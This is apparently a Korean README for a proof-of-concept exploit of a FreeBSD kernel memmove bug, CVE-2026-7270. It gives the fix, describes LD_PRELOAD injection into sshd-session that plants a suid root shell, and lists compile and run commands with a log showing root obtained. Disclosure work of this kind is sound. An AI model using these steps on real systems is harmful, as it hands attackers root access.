
CVE-2026-7270 FreeBSD exec_args_adjust_args OOB memmove를 통한 로컬 권한 상승
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
FreeBSD 로컬 권한 상승 — exec_args_adjust_args OOB memmove
exec_args_adjust_args()(sys/kern/kern_exec.c, 2013년부터 존재)의 연산자 우선순위 버그로 인해, sshd가 실행 중인 기본 FreeBSD 설치 환경에서 모든 로컬 사용자가 root로 권한을 상승시킬 수 있습니다. suid 바이너리, 커널 모듈, 설정 변경이 필요 없습니다.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* BUG: + should be - */
+ consume는 - consume이어야 합니다. 잘못된 부호로 인해 memmove는 올바른 endp - begin_argv - consume 대신 2 * consume 바이트를 복사합니다. shebang exec에서 265,185바이트의 argv[0]을 사용하면, memmove가 528,384바이트의 exec_map 항목을 인접 항목으로 2,024바이트 넘치게溢出시킵니다 — 충돌, 시그널, 페이지 폴트 없이 말입니다.
익스플로잇은 OOB memmove를 sshd의 수신 TCP 연결에 대한 fork/execv와 경쟁시킵니다. sshd-session은 suid/sgid 전환 없이 root-to-root로 실행되므로 issetugid()가 0을 반환하고 런타임 링커가 LD_PRELOAD를 허용합니다. 익스플로잇은 sshd-session의 exec_map 항목에 LD_PRELOAD=/tmp/evil.so를 심고, evil.so 생성자는 uid=0으로 실행되어 /tmp/rootsh에 suid root 셸을 설치합니다.
4-CPU VM에서 실행 후 약 6초, 라운드 5,030에서 root 획득.
| 영향을 받는 버전 | FreeBSD 11.0 ~ 14.4 (모든 릴리스, 공개 시점 기준 어떤 브랜치에도 수정 없음) |
| 사전 조건 | 로컬 비특권 셸, sshd 실행 중 (FreeBSD 기본값) |
| 신뢰성 | 라운드당 약 0.6% 성공률, 4-CPU 시스템에서 수 초 내 root 획득 |
| 테스트 환경 | FreeBSD 14.4-RELEASE-p1 amd64, GENERIC 커널, 4 CPU, 2GB RAM |
sys/kern/kern_exec.c에서 한 문자를 변경합니다:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
FreeBSD 14.4 대상에서 비특권 사용자로:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... 몇 초 후 ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
QEMU 환경(macOS 호스트, qemu 및 sshpass 필요):
./run_poc.sh # VM 부팅, 컴파일, 익스플로잇 실행
./run_poc.sh run # 이미 실행 중인 VM에 대해 재실행
./run_poc.sh clean # VM 아티팩트 제거
$ ./run_poc.sh
[*] Booting FreeBSD 14.4 VM (4 CPUs, 2GB RAM, SSH on port 2225)...
[*] QEMU pid 25908, log: vm.log
[*] Waiting for SSH on port 2225...
[*] SSH up after 1s
[*] Copying exploit source to VM...
[*] Creating unprivileged user 'freebsd' and compiling...
[*] Compiled OK
[*] Running exploit as 'freebsd' (up to 15000 rounds)...
[*] Watch for ROOT OBTAINED below:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Root shell: /tmp/rootsh -p
[*] Verifying root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id via rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Stopping VM (pid 25908)...
| 파일 | 설명 |
|---|
exec1_lpe21.c | 자체 포함 익스플로잇 — 비특권 사용자로 컴파일 및 실행 |
run_poc.sh | QEMU 자동화: FreeBSD 14.4 부팅, 컴파일, 익스플로잇 실행 |
WRITEUP.md | 전체 기술 문서: 버그 분석, 익스플로잇 아키텍처, 개발 이력 |
blog.md | 발견 및 익스플로잇 개발에 대한 서술형 기록 |
images/ | SVG 다이어그램: exec_map 레이아웃, 자체 복사 메커니즘, 전체 공격 개요 |